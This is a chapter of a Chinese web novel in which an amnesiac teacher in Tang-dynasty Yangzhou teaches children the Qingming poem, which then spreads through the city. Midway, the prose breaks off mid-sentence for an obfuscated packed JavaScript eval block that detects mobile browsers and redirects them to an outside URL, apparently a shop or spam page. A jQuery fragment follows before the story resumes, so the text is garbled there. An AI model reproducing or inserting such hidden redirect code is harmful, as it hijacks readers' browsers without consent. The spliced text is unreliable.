第一章清明时节雨纷纷，路上行人欲断魂


    “如果你要写清明，就不能只写清明雨绵绵，我们还要写“清明时节雨纷纷，路上行人欲断魂。” ①


    不过旬日时光，沈砚之便在扬州城南的官办学塾落了脚。许是他谈吐温文，腹中诗文信手拈来，又有着旁人不及的耐心细致，学塾掌事先生见他无家可归却学识扎实，便破例留他做了启蒙先生，教授六七个七八岁到十岁不等的稚童识字读诗。


    这处官办学塾虽算不上气派，却也规整有序，屋舍由青砖土坯混砌而成，桌椅虽旧却结实平整，墙面干净，窗明几净，只是年久略有些斑驳，透着官府办学的简朴端正，全无破败之相。沈砚之换了一身干净的青色粗布长衫，头发整齐束起，早已褪去初来时的狼狈，眉眼温润和气，站在堂中，俨然是一位沉稳妥帖的教书先生。


    他失忆后本就性子沉静，又带着刻入本能的小学老师习性，对待孩童格外有耐心。不似其他先生动辄严厉呵斥，他总是轻言细语、一字一句慢慢教导，即便孩童念错十遍八遍，也不见半分不耐，只弯腰俯身，一遍遍纠正读音、拆解字义，温柔又细致。这般模样，让这群平日里在市井撒泼惯了的孩子，也渐渐收了心性，愿意安安静静听他讲课。


    时节近清明，这一日天刚亮，扬州城便飘起了细雨，丝缕连绵，打湿了街巷里的青石板，空气里漫开一层湿润的凉意。


    孩童们陆续踏着细雨来到学塾，虽个个裤脚微湿、带着一身清晨的潮气，却也知晓此处是官办学塾，不敢太过喧闹，只小声说笑几句便依次落座，不多时学堂内便静了下来。沈砚之望着窗外如烟如雾的雨丝，又看了眼眼前端坐整齐的稚童，心中微动，缓步走到堂前。


    他没有直接开讲，而是温声问道：“你们可知何谓清明？若让你们来写清明，会如何写起？”


    堂内孩童纷纷歪着脑袋思索，片刻安静后，便有个胆子大些的男孩举手，小声说道：“清明就是一直下雨，天阴沉沉的。”


    旁边也有孩童跟着附和，都说清明多细雨，出门走路都不方便。


    沈砚之笑着点了点头，先开口赞许道：“说得很对，清明时节本就多绵绵细雨，你们观察得十分仔细。”


    话音稍顿，他望着满堂孩童，语气清朗而郑重，缓缓道出那句点睛之语：


    “如果你要写清明，就不能只写清明雨绵绵，我们还要写“清明时节雨纷纷，路上行人欲断魂。”


    这话一出，学堂里顿时安静了一瞬，孩子们皆是一脸惊奇，显然从未听过这般说法，字句顺口又好听，意境却比只说下雨要深远得多，一个个都露出了震惊又好奇的神色，小脸上满是期待。


    沈砚之拿起炭条，在身后的土墙上缓缓写下“清明”二字，字迹工整清秀。他没有引经据典，也没有讲晦涩的道理，只用孩子们听得懂的口语，慢慢描绘诗中的景象与人的心情：


    “清明这日，雨总是细细密密地下个不停。路上的行人大多要去祭拜先人，心里装着思念与难过，神色落寞，就像丢了魂魄一样，所以才说是‘路上行人欲断魂’。”


    他一边说，一边指向窗外的雨景，让孩子们切身感受。孩童们虽不全懂，却也跟着轻轻点头，小脸上满是认真。


    “先生，后面呢？”一个扎着小辫的女孩忍不住轻声追问。


    沈砚之微微一笑，继续念出后两句：“借问酒家何处有，牧童遥指杏花村。”


    他一边念，一边简单比划，把行人问路、牧童遥指的画面讲得活灵活现，全无晦涩道理，只有生动场景，听得孩子们目不转睛。


    有个小男孩皱着眉小声问：“先生，行人为什么会难过呀？”


    沈砚之蹲下身，与他平视，语气温柔又耐心：“因为清明是思念逝去亲人的日子，心里挂念，便会觉得难过。可即便心绪低落，也有人愿意指路，也有温暖的地方可以歇脚，这便是诗里的盼头。”


    孩童们似懂非懂，却跟着他一句一句诵读起来。稚嫩的童


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487311|202084||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声在整洁的学塾里回荡，与窗外淅淅沥沥的雨声缠在一起，格外安宁。


    一遍、两遍、三遍……


    原本磕磕绊绊的读音，渐渐变得整齐流畅。孩子们摇头晃脑，念着“清明时节雨纷纷，路上行人欲断魂”，脸上带着孩童独有的认真。


    沈砚之站在案前，看着眼前一幕，心中一片安稳。失忆带来的茫然与不安，在这朗朗诗声里淡了许多。他忘了前尘，忘了来路，可满腹诗词与教书育人的本能，成了他在这陌生大唐最踏实的依靠。


    他不知，这首随口教出的诗，当日便随着孩子们踏出学塾的脚步，飘进了扬州城的街巷。傍晚时分，有家长来接孩子，听见孩子念叨这句诗，心中好奇，便问起来由。孩子睁着圆溜溜的眼睛，脆生生地讲起先生讲的雨景与行人，那生动的画面瞬间打动了寻常百姓。不出数日，城南的街坊邻里、甚至隔壁学塾的孩童，都开始传唱这两句诗。人们惊叹于这诗句的浅显又意境深远，纷纷打听这位新来的先生，一时间，沈砚之的名字伴着这首诗，在扬州城的市井里悄悄传开。


    而在这热闹的人声与寻常的烟火气中，沈砚之并未察觉这份小小的声名。他只守着自己的学塾，守着一群稚童，守着这一方平静的天地。只是偶尔在夜深人静时，当他独自坐在案前，摩挲着掌心那层异样的薄茧，脑海里总会闪过几缕零碎的、冰冷的光与尖锐的声响——那是尘封记忆深处的回响，是另一段截然不同的人生留下的微弱印记。他不知这印记从何而来，只当是失忆后偶尔的恍惚，却不知那印记背后，藏着一段远比教书更惊心动魄、早已被封印在时光深处的过往。


    此刻的他，只是沈砚之，一个温柔细心的教书先生，守着一间规整学塾，在清明细雨里，教一群稚童念着流传千年的诗。


    下课声起，雨仍未停。孩子们背着布包依次出门，一路还在轻声念叨着那句“清明时节雨纷纷”。


    沈砚之立在学塾门口，望着烟雨扬州，眉目温和，心绪平静。